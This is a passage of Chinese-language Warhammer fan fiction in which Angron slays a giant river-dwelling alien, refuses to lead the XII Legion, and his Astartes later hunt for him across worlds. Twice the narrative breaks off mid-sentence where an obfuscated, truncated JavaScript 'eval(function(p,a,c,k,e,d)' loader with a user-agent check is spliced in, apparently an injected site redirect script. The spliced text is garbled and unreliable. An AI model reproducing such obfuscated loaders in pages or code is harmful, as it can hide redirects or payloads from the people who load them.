唯一比这位巨人脆弱的就是那简易的铁盔甲。它在大幅度动作中轻易碎裂,露出布满伤疤的身躯。 卡格斯错愕得几乎握不住武器,视线被巨人的动作紧紧抓住。 而且他体内分泌出一种奇怪的情绪,像根丝线般牵扯着他的心,让他的呼吸都有些困难了。是他的第三肺出问题了吗? 卡格斯懵懵懂懂地思考。所有阿斯塔特被改造前都不过是十五六岁的青少年,被改造后立刻被抛到残酷的战场上。他们只能从前辈与敌人的尸体上学习身为人的情感表达。 如果军团新兵训练完备,那阿斯塔特会很快适应新的环境,情商与正常凡人差别不大。但像十二军团这样的,因为没有原体被拆得七零八落,还总是被投放到高烈度的战场,那么他们的情感表达变得扭曲也不足为奇。 特别是,十二军团的基因蓝本里,除了带着暴躁易怒的编码,还暗藏着异常强烈的情感依赖需求。有些人会转而依赖他的战斗兄弟,也有些人会更加渴望见到尊贵的原体。 所以卡格斯罕见地在战场中心停止挥舞链锯斧,怔怔地站着。在他的世界里所有敌人都不存在了,只剩下这位盔甲破碎的巨人。 9. 离别的原因 熟悉的蓝白动力甲矗立在混乱中央,让安格隆感到厌烦。 尤其那家伙还像个傻子一样站在战场中间,难道是被吓傻了吗?真是懦夫! 安格隆的愤怒如此显而易见,凡是敢冲上来的异形都被他活活撕裂,连一些凡人护卫队也将枪口对准了他。凡人无法分辨这头愤怒的巨人是天降神兵还是地狱爬出来的恶鬼。 一个人在惊惧之中开枪了,可弹道宛若人体描边器般根本无法选中安格隆。 但这立即激怒了卡格斯。他拿起链锯斧,动作比之前更快更猛,脑子里只剩一个想法,要把亵渎原体的凡人当场斩首。虽然他第一次见安格隆,但基因的反应不会有错的,他就是他的原体! 安格隆发现卡格斯冲向孱弱的凡人护卫队,原体的大脑大致分析出前因后果。可他没有半点感动,只觉得心上又添一把火。 突然,来自巨大异形的攻击再次降临了。 远方的如小山般巍峨的异形已经“出生”完毕,它如一个跪地趴伏的野兽,牢牢攀住最大的纪念堂,四肢如树杈般分裂出无数下端,但最小的肢体组织也有3米粗。纯白色的肢体因为源源不断渗出的黑水而显得脏污。它伸出手,朝远方“抽”了一个巴掌,那连带的无数肢体分支立刻如炮弹般砸向各地,在上巢掀起毁天灭地的破坏风暴。 其中一个肢体剐蹭到阿斯塔特手术室的上端,如手术刀般精准地切开手术室的房顶。军团旗帜也被切成两半。建筑的支柱与墙壁纷纷崩解,露出泡在医疗舱里三个战士。凡人们尖叫着四散逃开,零落的枪声响起。 “不……”卡格斯的血液都凝固了。 卡格斯来不及多想,抽出爆弹枪猛攻远去的白色肢体。一些细的末端肢体被一枪打成爆浆,但主肢依旧坚固如初。卡格斯转而攻击手术室上方正在下坠的大石,顺便击退围上来的异形群。爆炸形成的粉末窸窸窣窣地落下,把医疗舱埋了一半。卡格斯一边射击一边骂人,从卡利博斯骂到加兰,从卡恩骂到基尔。 子弹快要用完的时候他终于回到了手术室。卡格斯感觉自己把药剂师考试的内容全忘了,变成一个只会简单包扎的鲁莽战犬。他什么都想不起来,可身体还在动。 他恍恍惚惚地为三位新兵做紧急检查,设置好医疗舱自我保护模式,又拖着医疗舱和培育缸到一个较为坚实的掩体下面。等他做完了一切,重新握紧链锯斧,才感觉血液回归自己的手指。 “操……我一定要……”卡格斯一阵后怕,但又觉得刚刚做出精妙操作的自己如此陌生。然后他猛拍大腿:“操!我居然真的成了药剂师。” 不同寻常的疾风在废墟中呼啸而过。卡格斯突然俯身,链锯斧贴着地面划出带着火星的弧线,切断了三条试图横抽过来的软质肢体。 随后动力甲的神经束接受到他的脑部信号,他借着反旋的冲劲一跃而起,动力背包的推进器喷出短促的火焰,整个人像颗出膛的炮弹撞向远方的巨大异形。 动力装置的嗡鸣混着他的咆哮,锯片深深嵌入巨大异形尚未硬化的组织。他突然拧动链锯斧,在异形狂乱的攻击中搅出一个漩涡型的伤口。异形内部的组织被他的锯片钩住了,随着他脚踩异形挺身拔斧,一大片黑色的膨胀物以及水管般的硬化白管如同肿瘤般被卡格斯生生拔起。然后他便跌下了异形的身躯。 卡格斯在下坠过程中不住的干呕,这次不是夸张,是真的中毒了。他撞向地面,整个人径直撞穿了一个花园喷泉,又借着惯性在地面翻滚了十余米,最终重重停在一片废墟之中。动力甲的自动医疗系统汇报解毒完毕,但卡格斯仍感觉阵阵眩晕,他的其他部位可能受伤了。 他瞥了一眼高大异形,对方的伤口如高压喷泉般喷出黑水。斩击是有效的,但异形的伤口也正以肉眼可见的速度痊愈。 “用斧头砍太慢了,对付这家伙得上个泰坦,没有泰坦喷火.枪也行。”卡格斯躺在地上等待医疗系统的第二波修复,顺便思考对策,“什么?喷火.枪也没有?不如我拿净水片冲上去给它吃肚子里算了。” “闭嘴。”安格隆的声音像猛兽一样厚重,他走过卡格斯,影子逐渐覆盖在卡格斯身上。“让我来。” 卡格斯猛地坐起。 安格隆浑身上下没有一把适合的武器。他身上的铁甲是他手搓的,进攻武器则是一把临时组装的普通铁斧。那个动力手套虽然强力,但需要的蓄力时间较长,在这种速度的战斗有点不够看了。好在动力手套可以为铁斧套上一层分解立场,使得这把武器不至于在进攻时拖后腿。 他一往前走就攥住了巨大异形的所有注意力。如打人柳般抽动的众多肢体停下了,慢慢地回缩到本体身边。它并非害怕,只是明白需要所有的武器来对抗这个不同寻常的人。几乎呼吸之间,它之前的伤口便修复好了。 异形没有眼睛之类的器官,但所有人都能感知到它在盯着安格隆。它的身体有韵律地起伏着,仿佛在呼吸。部分细小末端如绸带般垂落扫过地面,深入水管中,汲取着里面的某种能量。当安格隆继续往前时,它又如孔雀开屏般,将众多肢体绷直,在穹顶上撞出火星与凹痕,巨大的声响让所有人心脏一颤。 可安格隆还在继续前进,对这些异象视而不见。眼见这些恐吓战术通通失效,异形终于失去耐心,头部裂出一条黑缝,发出震耳欲聋的嘶吼,从一直趴伏的纪念堂一跃而下,数十条硬化肢体如长矛般刺向安格隆,一些软化的肢体则想缠住安格隆不放。 安格隆不闪不避,用动力拳硬生生架住攻势,左臂铁钳般锁住另一条试图缠绕脖颈的肢体,猛地发力撕扯。异形体内响起噼啪的骨骼断裂声。 异形怒不可遏,发狂的硬化肢体将附近的建筑砸的千疮百孔。这附近的地域几乎被这场战斗轰向中巢。 当最粗壮的主肢体带着破风声砸向他后脑时,安格隆竟然反手将铁斧抛向空中,双手抓住袭来的肢体,蓄力完毕的动力拳套以势不可挡的破坏之力嵌入异形体内。原体的力量被动力拳套增强数倍,借助异形的肢体以古老的投掷技掀翻了对方那巨大的身躯。 飞旋的铁斧并不落空,如斩首的铡刀精准地没入了异形类似脖颈的位置。 安格隆好像回到了无尽的颅骨排位赛上,全心全意地为击倒对方而战斗。 异形的尖叫刺耳无比。安格隆没有给它喘息的机会,踏上异形的巨大身躯,拔起自己的铁斧,动力拳套重新为铁斧覆盖上最高倍率的分解立场。他沿着之前的伤口再度劈砍,黑水与白色钢管组织飞溅而出。 异形的痛苦挣扎只持续了半秒,断裂的肢体瞬间硬化成锯齿状,带着腥风毒气扫向安格隆。安格隆拿铁斧阻挡,已经身经百战的铁斧却承受不了更多威压,在众人不可思议的注视中崩裂成碎片。 安格隆看着空空如也的右手愣了一下,随即在心中破口大骂。 让异形忌惮的寒光已经熄灭,肢体的众多末端瞬间兴奋地炸开。它发出一阵令人牙酸的窸窣声,如同长长的指甲刮擦过整个穹顶。数百条沾染着恶毒黑水的肢体似狂舞的毒蛇般腾空而起,整个身躯带着令人作呕的气息铺天盖地地压向安格隆,仿佛要将安格隆彻底碾成肉泥。 旁观的人群无不倒吸一口凉气,恐惧的凡人害怕地将脸埋在枪支后面。卡格斯脑子里一片空白,恨不得冲过去把自己的链锯斧给安格隆。他也正疾冲过去,只是路途有些遥远。 然而下一秒,狂舞的异形肢体突然动作阻滞了起来。 在无数蠕动的肢体缝隙中,原体的身影依旧如磐石般坚固。安格隆的身形或许与异形相比有些差距,装备也并不精良。但他的战斗目标从来只有一个,无所谓是什么武器造成的。 安格隆不知何时已经站在了异形脖颈的下方,双手被自己的鲜血与异形的黑水染成墨红色,十指深深抠进异形脖颈的旧伤处,指节因发力而泛白。原体的鲜血爬虫般蜿蜒绕过他的手臂,与安格隆身上的旧疤混在一起。 他喉间发出一声闷吼,肌肉贲张的臂膀猛地向两侧发力。不可思议的事情发生了,令人惊叹的骨骼碎裂声接连爆裂响起,钢铁般坚固的白色肌肉应声撕裂,异形的头颅与身躯的链接正在被加速破坏。 “噗嗤” 一声闷响,最后一点坚韧的脖颈也被彻底撕裂,带着淋漓汁液的巨大头颅被硬生生扯离躯干,猩黑的□□如暴雨般泼洒开来。 安格隆喘着粗气站立在黑色暴雨中间。他看了看手里的头颅,端详了一会儿,才松开手。 那些原本威胁十足的肢体此刻只剩抽搐的力气,有的还在半空就软塌下来,垂落时扫过安格隆破碎的铁甲。 构成它众多下肢的缕状物开始崩解,巨大的异形如山洪般倒下,将美丽的上巢建筑都冲出一片扇形平原。黑色的污水从它的肢体中渗出,凝聚成急湍的大河,作为最后的凶器收割人类的性命。 安格隆回头看异形的身躯,那中部身躯竟然如蜡像般溶解了,露出里面的构造物。它竟然在里面藏了一个特别巨大的异形雕塑,似乎把这个雕塑搬运到这里才是它原本的目的。安格隆认出那个异形雕塑和他在下巢看见的一模一样。 被抛在一边的巨大异形头颅裂出一条缝——它竟然没有完全死去——它用残余的生命力一边吐出黑水,一边用低沉的声音吼道: “把家园,还给我们……” 在场的人类都捂紧耳朵或鼻子,地面护卫队得到了行星总督的支援,拿着喷火器扫射剩余的异形。没有人听得懂异形的话语,除了在战斗中立刻学会这种语言的安格隆。 在异形生命的末期,只有安格隆听懂了这句遗言。 在许久以前,这颗星球本就是异形的家园,流淌的大河穿过它们的身体组织,为它们带来长途移动的动力。它们则用自身的营养物质反哺大河,供养河流的其他生命,以此搭建了一个欣欣向荣的大河文明。 它们甚至学会了雕塑。一个文明要发展到何种程度才能拥有雕塑这种艺术品呢? 然而它们供养的营养物质却对人类有毒。当人类的地盘扩张到此处时,水火不容的战争便打响了。这些依据河流而生的异形被迫龟缩到下水道中,等待着某一天重新夺回它们的家园。它们为此准备许久,繁衍出了专门用于战争的个体,但还是被安格隆直接打碎。 安格隆对此并不感到抱歉。他本人的灵魂来自20世纪末,那时人类还在为金钱、为地盘、为权力不断发生冲突。种族屠杀的行为依旧屡见不鲜,但最终只化作报纸上的一条新闻。他看得太多,从来都知道,正义与卑鄙只是硬币的一体两面。 但当他真的从巢都底层走到上层后,一切又有点地狱笑话了:20世纪的人类社会问题,竟然在三万年后依旧上演。不断重复历史的人类命运,就像一出令人厌烦的戏剧。 唯一让安格隆感到安慰的是,他给予了对手纯粹的死亡。他没有让任何外力参与他们的角斗。哪怕他们之前的经历天差地别,但在他们以致死为目的相互攻击时,他们的身份是平等的。不是人类的超级战士杀害一个努力夺回家园的异形,而是一个强大的角斗士战胜了另一个强大角斗士。 死亡只是角斗场的结果之一,任何人都有可能拥抱它,所以不必挂念。 散发着毒气的黑水蔓延过安格隆的小腿。这点毒气对他而言不值一提。而且这毒水相对于异形来说就是它们的血液,因此还安抚了他脑子里嗡嗡作响的奇怪钢缆。安格隆静静地享受着难得的平静。 但依旧有人不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“什么?”卡格斯用链锯斧把自己撑起来,后知后觉地问,“您一个人吗?” 安格隆点头:“我不会做你们的首领。” 卡格斯大惊失色,又马上露出吃痛的表情:“为什么!” “这件事本身就很奇怪。我不了解你们,你从前也不认识我,我们本该就是毫无关联的陌生人,怎么能因为基因就理所应当地待在一块发动战争?”安格隆不想和卡格斯说这么多,那没有意义。他之所以还在说话,是因为他有身为英国佬基本的教养。 他想起刚才看到的阿斯塔特手术室,更加困惑了:“没有我你们也可以生产新的士兵,在别人的统领下继续大远征。不要说得好像没有我你们的飞船就没油了一样。” “这不一样!”卡格斯着急吼道。原体怎么能离开军团?原体怎么可以说“在别人的统领下”这么残酷的词汇!他们好不容易才找到原体!到底哪里出错了?“我从来没有听过会有原体离开他的军团!这不可能!” 安格隆平静地看他,脸上的表情仿佛在说“现在你见识到了”。 卡格斯忽然变了脸色。原体本应该待在舰队里,如今却只身一人来到这个星球,连动力甲都没穿。这本身就很反常。 难以言喻的悲伤漫过他的双眼。“难道……因为我们做错了事?”卡格斯屏住呼吸询问。 “不要表现得像个软蛋。”安格隆不耐烦道,“你是战士不是一条狗!” 原体的愤怒哪怕只是一丝也足以让阿斯塔特不自觉颤抖,何况那是安格隆。他说道:“你在战斗中拼死守护那间加工厂,因为里面有你未来的兄弟。我以为你能理解兄弟情谊,才愿意与你交流。如果你再甘愿跪着说话,我不介意手上多一条人命。” 原体为什么忽然翻脸……他的前半生都没见过原体,他高兴不行吗,他的兄弟都很高兴啊,他的药剂师前辈甚至为了早点见原体把他抛在这个鸟爱拉屎的星球……卡格斯心中的委屈如摇晃后的古老碳酸饮料一样喷发,没有什么是比被原体污蔑成软蛋更令人伤心的了……他跪着是因为他疼得站不起来了! 卡格斯因为悲伤而绷紧脸,安格隆却误会了那是愤怒,觉得卡格斯还算正常,于是语气稍微放缓:“很好……正如你有你的兄弟姐妹,我也有我为之珍视的家人。” 卡格斯皱紧眉头,欲言又止。 “帝国用你们所崇尚的‘大远征’将我和我的家人分开了。光是这一点我就不可能心平气和地成为你们的军团长。这不是你们的错,只是我们立场有别。”安格隆说道。 “您要为您的兄弟姐妹拒绝帝皇?”卡格斯提取出关键词,不可思议地抬起头。若有谁比原体之名更如雷贯耳,那必定是无数凡人顶礼膜拜、无数阿斯塔特为之捐躯赴死、连众多原体也俯首称臣的泰拉之主、人类帝皇。 提到帝皇让安格隆头疼,他的面容拧在一起,宛如恶鬼,但他说出来的话却出乎预料的温和。也许他想说这话很久了: “如果我必须为你们留下遗产,那就记住这件事吧……不要信服权威,哪怕是你的基因之父,抑或银河帝国的皇帝。你应当有所思考,为自由而战,并永不屈服。” 安格隆一瞬间有按住卡格斯的肩膀鼓励对方的冲动,就像他从前对卡恩做的那样。可如今不宜留下更多回忆,所以他只低声告诫:“最好不要像我……失去了共同战斗的家人,此后活得像个傀儡。” 卡格斯不知道是否太惊讶的缘故,望着安格隆竟然看呆了。 安格隆想起了远在天边的另一个儿子,品味到了丝丝愧疚。他忍不住补充道:“告诉卡恩,这也不是他的错。” 一道白光忽然照亮了卡格斯的半边脸。天边划过一道道猩红的流星,那是空降仓与大气层剧烈摩擦所爆发出的火光。在大气的高温炙烤下,外壁的军团标识依旧熠熠生辉——十二军团即将降临此地。 10. 遗传自原体 没过多久,行星总督的旗帜与十二军团的旗帜一起飘扬在巢都上空。 卡恩一边听着行星总督的废话,一边跨过层层废墟,见到靠在矮墙边的蓝白色动力甲,忍不住疾冲过去喊道:“卡格斯!” 卡格斯是他们八连的知名蠢蛋,平日很搞笑,也很能打。但卡恩知道这个人有时候惊人的心思细腻,不由得莫名担忧,于是苦口婆心劝卡格斯去考药剂师,多个技能多条命。 卡格斯当然不愿意,他不想再当一次新兵了。卡恩便给他画饼:兄弟,你知道吗,做一个一边砍人一边救人的药剂师超酷的。卡格斯被他这个愿景蛊惑住了,兴致勃勃地加入药剂师特遣队学习。 可还没等卡格斯在战场上救一个人,他先被打得半死不活了。卡恩从未见过卡格斯如此颓丧的模样。 更让卡恩难受的是,他还在现场发现了基因之父来过的痕迹。 “卡恩……”卡格斯睁开一只眼,微微动了动尾指,“你怎么来了?” 卡恩站在他身边,扯出一个难看的笑容:“我听见你骂我‘傻X’了。” 卡格斯疲惫的脸庞浮现出几分活力:“那个凡人真的把我原话转达了?那我可要当面谢谢他……” “没有凡人转达这个信息。卡利博斯发现这颗星球的手术室信号中断,以为你出岔子了才带我们赶过来。”卡恩道,“是我猜你会这样说。” 卡格斯拍着大腿大笑:“听说你趁我不在成了八连连长?你这混蛋。” “工作时请称呼职务,药剂师。”卡恩点头道。他注意到卡格斯的动作比以往缓慢多了,不由得问道:“那些异形就把你整那么惨了?” “呃,不是异形……”卡格斯眼神乱瞄,努力搜刮着理由。 卡恩心下一沉,语气肯定地说出答案:“是原体。” 卡格斯:“呃……这前因后果有点乱,我还需要整理一下才能和你汇报,连长。” 卡恩攥紧拳头,熟悉的战友因原体倒在地上,这是多么的讽刺!而且这场景不是第一次,也不会是最后一次。他的战友们,他引以为傲的八连!卡恩的心被怒火融化成岩浆,并随时准备喷发。 “你好好休息。”卡恩沙哑着声音道,把手放在卡格斯的胳膊上,“我去找原体。我要让他解释清楚。” “等等。”卡格斯忽然抓着卡恩的手不放,说出让卡恩牵肠挂肚的那个词,“有一个重要的事情要和你说。原体他、他……” 卡恩的双脚立刻动弹不得,他怀着微弱的希冀问道:“原体对你说什么了?” “原体说……”卡格斯陷入前不久的回忆,瞳孔微微放大,卡恩的心也高高挂起。 “他夸我打得好。”卡格斯挠挠头,“其他忘了。” “我真想把你扔太空里去!”卡恩猛地一锤隔壁的矮墙,顿时土石爆裂,灰尘满天。他转身就走,留下卡格斯在灰尘里边咳边笑。卡格斯的声音还在他后面紧追不放: “连长,别总是紧绷着脸嘛。” 卡恩回到行星总督所在的位置。这位大腹便便的老人一开始还在惶恐地解释他已经尽力管理巢都了,异形的出现完全不是他的责任。但十二军团没人理他,不是在顺便帮忙清理残余异形,就是在用仪器搜索安格隆动力甲留下的信号波形。 行星总督被这齐刷刷的忽略惹恼了,忽然大喊:“无论如何我都是一位行星总督!我有这颗星球的所有权!这巢都也是我的。而你们,帝皇的天使啊,你们的职责就是保护我和我的财产。异形来这里大搞破坏,难道不应该怪罪你们吗?” 十二军团均用惊异的眼神看向行星总督。 卡恩无语地翻了一个白眼。 十二军团有人发出一声哄笑,那人真诚地询问他:“难道你没有听过战犬的名号吗?” “什、什么战犬?”行星总督被这哄笑吓得后退一步。 “真是糟糕,那你听过‘血十三’这个远征舰队吗?”有人又诚心诚意地询问。 “血十三!?”行星总督发出一声怪叫。哪怕他没听说这个远征舰队,也猜出这个外号不是什么好词。 “也可能是我们以前太分散了。先生,如果你对战争部队有所了解,你会发现,在极限战士的侧翼战场,在荷鲁斯之子的填线战壕,在钢铁勇士的冲锋部队,甚至死亡天使的泰坦部队……都有一群最不怕死最残暴的疯子,那就是我们,战争之犬。”一个身材高大、背着六根昆虫似的机械臂的技术军士从人群走来。 “现在我们集合起来了!以安格隆的名义!”技术军士振臂高呼,六根机械臂舒展上面的大火力武器,齐齐朝上空开火。闻到熟悉的硝烟味,十二军团陷入一团狂欢似的怪叫。 卡恩心累地叹了一口气。 行星总督见状不妙,立刻说道:“你们可不能对我动手,我可是泰拉亲自任命的行星总督!和泰拉贵族那边也有关系!” “什么贵族?我以为异形减速带呢,都是顺手的事。”技术军士扯出一个野蛮的笑容,他看了看自家兄弟们,突然想到一个好点子:“不如在这里努力一把,把战犬的名声打出去?反正基尔又不在。” 众人正打算应和这绝佳的好主意,就听见卡恩冷酷地说:“耶利哥,不要再增加我的工作了。” “我只是吓吓他。”名为耶利哥的技术军士无奈耸肩,乖乖收回六根机械臂。 耶利哥是比马歇尔更有经验的技术军士,他浸淫火星技术许久,反而和军团内部不熟悉。一开始卡恩并不想求助他,但随着原体离去的时间越来越久,寻找原体的难度也越来越大。无奈之下卡恩只能找耶利哥解决技术难题。 耶利哥几乎毫不犹豫地帮助了他,并且没有丝毫责备。他甚至宽慰卡恩:“不会有比这更糟糕的事了,连长,别把责任全揽自己身上。” 卡恩感觉属于战犬的兄弟情谊流淌过自己身上。和耶利哥交流后,他终于下定决心和重锻号上的阿斯塔特坦白:原体不见了,他们需要一个星球一个星球地寻找。 重锻号上的大部分士兵都原谅了卡恩的失职,并共同守护住这丢脸的秘密。卡恩正是靠着兄弟们无私的支持才撑到今天。 但是也有一些难以忍受原体离去的家伙,比如刚回归的药剂师特遣小队队长——卡利博斯。 “吓唬!我可不会只是吓唬这杂碎!!”卡利博斯怒气汹汹地走来,战犬们纷纷为他让出一条道。 “你管理不利,让异形伤害了我们的原体!而这地方,这该死的地方竟然还是我招募新兵的地方!但凡你向我汇报异形的痕迹,我的队伍早把它们的老巢烧个干净!根本不会让异形走到原体面前!”卡利博斯看起来想用眼神掐死行星总督,“你统治的巢都让我蒙羞!!” 行星总督被如有实质的怒气压在地上。他尽力缩小自己的存在感,小心翼翼地恳求道:“我、我虽然不知道尊贵的原体是什么,但我真的有尝试管理巢都……以前这里这颗星球就是异形的星球……我们移民到这里,打败了异形……为了防止异形卷土重来,我还在上巢和中巢都设置了‘污水管理委员会’……” “那你的什么污水会有起到作用吗?”耶利哥嘲讽道。 “我设置了三万个污水管理委员会。”行星总督试图展示自己的无辜与真诚,他用手在胸前比划,“整整三万个,都由血统高贵之人担任。” 卡利博斯按捺不住,一记爆弹枪轰飞了行星总督的头颅。血液飞溅在他擦得锃亮的动力甲上,他无比嫌弃地抹去。 “给我半天的时间,我要杀光这群尸位素餐的家伙。”卡利博斯阴狠地对卡恩说道。 出于连长的职责,卡恩对卡利博斯劝诫道:“根据波形记录,安格隆从底巢一直来到上巢。原体的目光比这群贵族更长远,说不定也会有赏识的人。如果你一概而论,他绝不会高兴。何况基尔命令我们不得伤害平民。” “我当然记得基尔的命令!我知道怎么处理这种情况!”卡利博斯像个一点就着的炸.药桶,“在他还不是军团长的时候,我就已经是一名战犬!你这只幼犬还想爬到我头上来吗!” 十二军团的众人纷纷低下头。他们大部分都是八连的兵,服役时长和卡恩大差不差,或者是新加入的新兵。相较之下卡利博斯简直是军团的老古董,他在军团初创的时候差不多就在了,参与过许多重大战役,得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卡恩不赞同且困惑地看向卡格斯。卡利博斯的目光依旧饱含怒火,但也有他尚未察觉的哀求与希望。耶利哥等人则屏气凝神,将卡格斯视作救命稻草了。 卡格斯说道:“原体不止拒绝了我们,还拒绝了帝皇。因为帝皇把他和他家人般的战友分开了。” 卡格斯竟然坦然地把原体和帝皇之间的矛盾摊开来讲。卡恩惊得忘记捂住他的嘴巴。十二军团的阿斯塔特更是怀疑自己听到的东西。 卡格斯继续道:“这就是我们的原体,他和我们一样看重兄弟情谊,甚至情感更加深厚。我们残暴凶狠,这是我们作为武器的必要性。我们恪守纪律,是基尔强加在我们脖颈上的缰绳。而我们看重彼此,不是因为我们必须如此,而是……这就是我们从原体身上继承的东西。” 他的语气逐渐梦幻:“想想吧,卡利博斯,你敢为了基尔或者格尔老军团长拒绝帝皇的任命吗?那可是帝皇!你做不到,但原体做到了。有什么比拥有这样的原体更酷更令人激动呢?” 他的目光扫过在场的阿斯塔特,最后定在卡利博斯身上。 卡利博斯尤为艰难地消化这巨大的信息量。拒绝帝皇,他从未想过会有一天拒绝那位理想崇高的人类之主。对帝皇的忠诚与对原体的基因依赖在他脑内打架。他的原体竟然做了这样不敬之事,可是,难道不是只有做出如此惊世骇俗的事情,才配称得上他的原体吗? 他想起前前任军团长格尔,想起值得信赖的老技术军士朱利亚克,想起与他并肩作战的高大战士恩德里德……那些人才是与他同时期的战友,可他们大多数要么埋葬在无畏之中,要么殒身于战场之上。卡利博斯熟知的兄弟一个接一个离开了,一个个新面孔填充了十二军团,他感觉某种与军团的链接变得微弱了,他害怕他活得太久,曾经深爱兄弟们的战犬会变得连自己都觉得陌生。 但他此后不必再有这个烦恼,他的原体回来了!他不仅会用澎湃的感情将军团联结起来,还会身体力行演示战犬的最高贵品质。他曾经无比珍惜的军团传统情谊,竟然就是原体遗传给他们的东西。难道他还能质疑更多吗,战犬就是原体的子嗣! 卡利博斯终究被卡格斯感染,语气也变得如梦如幻:“是啊,这就是我们的原体……” 11. 颅骨预兆 当卡利博斯平息怒火后,他心平气和地接受了原体离开的事实。 或者说他将此事视为原体对他们的挑战——他们是战犬,拥有特别的回归挑战也正常——只要他们表现得符合原体的期待,原体一定会认可他们并且回归军团。 在场的其他阿斯塔特更是如此。他们为原体不同寻常的举动感到与有荣焉,为自己能参与原体的挑战而倍感自豪。他们愿意为此付出十二分努力,乃至与包容之前自己看不惯的战友。 军团分裂的危机解除了。重锻号的战士与新加入的药剂师特遣小队齐心协力地处理异形问题。卡利博斯还大方展示操作,如何处理巢都管理问题。 “我以前所在的远征舰队向来管杀不管埋。”卡恩站在旁边围观,颇感新奇。 “哼,你们经历的战争还是太少,展示凶性的手段也太单一,对政治的理解更是浅薄。”卡利博斯说道。 他虽然不是行政军官,但远征那么多年也知道猪怎么跑。尤其在卡利博斯刚加入十二军团的那个年代,帝国的行政管理机构能人辈出,随便传授一点管理能力都够现在的高领主学一辈子了。 卡利博斯很快带领队伍将整颗星球的异形巢穴清洗干净,又强硬地整合了巢都的管理部门。虽然并不能从根本上解决问题,但这颗星球上的居民以后日子会好过许多了。 卡恩忽然感到奇怪,为什么从来没有军团前辈教导他一些行政技能,整个军团也没有相关行政军官的培养体系,好像谁最能打谁就能当连长似的。 “这个嘛……”卡利博斯莫名支吾起来,“我们、战犬……我们的基因种子或许天生不擅长这方面工作,所以行政人才很难找……告诉你也无妨,前任军团长基尔和前前任军团长,每次处理公文后都会痛殴兄弟一番。” 卡恩和卡利博斯一起发出短促的笑声。他能感觉这位药剂师前辈正在释放善意,也许是补偿,也许是对“原体侍从武官”这个身份的尊重。无论如何,能有惊无险地度过这次危机真的太好了。 但他并不高兴。 …… 在解决完诺恩高地的问题后,重锻号继续追踪原体的踪迹。 尽管安格隆的动力拳套被植入了信号发生器,但在宇宙的尺度而言,那点信号微弱得几乎不可见。他们需要技术最精湛的舰长与技术军士联合起来,才能大致捕捉到安格隆离开的方向。 每找到一个可疑的星球,重锻号就要派一些地面部队进行地毯式搜索。每次一无所获的地面搜寻都让人倍感失落,但大家紧接着相互打气以振作精神。 而安格隆的旅游就节奏快多了,他的飞船在一个个行星间跳跃,有时是去寻找补给,有时则是去体验人类未来的风土人情。 他去过为旅游打造的花园世界,全力支援大远征的农业世界,没有一丝人气的死亡世界,仍处于蛮荒时代的丛林世界……他渐渐了解了人类三万年后的社会全貌,许多社会民俗都能在地球找到原型,但那些不相似的地方深深地激发了他内心的孤寂感。 孤寂感刺激了他脑子里的奇异造物。那些钉子日夜不停的嗡鸣,以恐怖的驱动力催促他寻找鲜血与战斗。 期间安格隆试图找到克制钉子的方法。那些东西很奇怪……他不记得怎么会出现在他脑子上面了……它们让他感到陌生又恐惧……他虽然老是说想砍人,但没想过屈服于杀戮欲.望……那和沦为一头野兽奴隶没有区别。他不想当奴隶。 幸好安格隆缺失了努凯里亚的记忆,所以他成功凭借意志力忍过钉子的一次次哀鸣,直到迫不得已才会登陆屠杀。2k时代的道德感还在约束他,他尽量找些看起来就是满腹坏水的外星种族战斗。 但抵达某颗蛮荒星球上空时,那些钉子迎来了最让安格隆痛苦的哀恸。 安格隆实在忍无可忍,将食物补给留给奴工们,熟练地乘坐空降舱降落地表。 这颗星球被遮天蔽日的森林古木覆盖着,走出空降舱后,安格隆大口地呼吸着新鲜空气,头痛莫名好了许多。 忽然,宽阔的水芋叶颤动了一下。丛林中钻出一位身披油彩的野人。野人见着安格隆又唱又跳,然后变戏法似的把一颗颅骨献给了安格隆。 安格隆摩挲着那颗圆润小巧的颅骨,倍感疑惑。他仿佛是被颅骨和钉子一起赶到这颗星球上,迎接他无法回避的命运。 此时,距离安格隆逃离十二军团,已经过了半个泰拉标准年。 …… “我们找到原体的护卫舰了。” “它停留在这颗蛮荒星球上足够久,我们才能如此幸运且清晰地捕捉到它的信号。我们现在已经将这艘护卫舰回收舰队,里面有原体生活过的痕迹,奴工身上的记录仪也显示他们曾为原体服务。原体有九成概率就在这颗星球上。” “原体给我们的考验即将迎来终点,现在谁愿意和我一起下去给这颗星球翻个底朝天?” 重锻号上,五千多位阿斯塔特同时发出怒吼。在周围的巡洋舰里,还有五千多观看同步会议的阿斯塔特也发出争先恐后的喊声。那声音仿佛能穿透宇宙的真空,将这几艘巡洋舰拉入共振旋律。 卡恩又说了几句,在大家急不可耐的目光中结束本次例行搜索动员大会,按照计划安排了不同职能的登陆小队。 这次搜索大概率会给整趟旅途画上句号,回想过去的半年,卡恩不由得感慨重锻号发生了翻天覆地的变化。 十二军团的舰队散布在银河系各地,每隔一段时间就有一批舰队赶过来与大部队合并。因为路途遥远,泰拉方面给了一年有余的时间让他们整备军团。 很多舰队依从命令前往了十二军团最大的战列舰,坚毅决心号。一些舰队则消息灵活得多,听说原体来到重锻号上,特意赶来与重锻号汇合。 结果一来到重锻号就听说了“原体已离开”的炸裂消息。 好在卡恩有对付卡利博斯的经验,加上战友们的帮助,众多舰队勉强融入了重锻号的团体生活中。现在重锻号舰队已经拥有了一万三千名阿斯塔特,足以攻打下一个对帝国不忠诚星系。 但更多问题随之而来。 首先是应付坚毅决心号的追问。 坚毅决心号是帝国集合众多铸造世界之力锻造的荣光女王级战列舰,对于没有母星的十二军团来说,她就是战犬们的太空大本营。原体本应该在那里审阅他的军团。可现在原体迟迟不肯出现,坚毅决心号早就怀疑重锻号出了问题。 要不是前军团长基尔出面担保,坚毅决心号将立刻带领众多舰队跨越亚空间杀过来。 卡恩和重锻号的战士们都没想过坦白。主要是太丢脸了。坚毅决心号上那么多记叙者和凡人,他们会把十二军团的丑闻传得满天飞。战犬会以弄丢原体而闻名于世。这是卡恩和基尔都不能接受的。 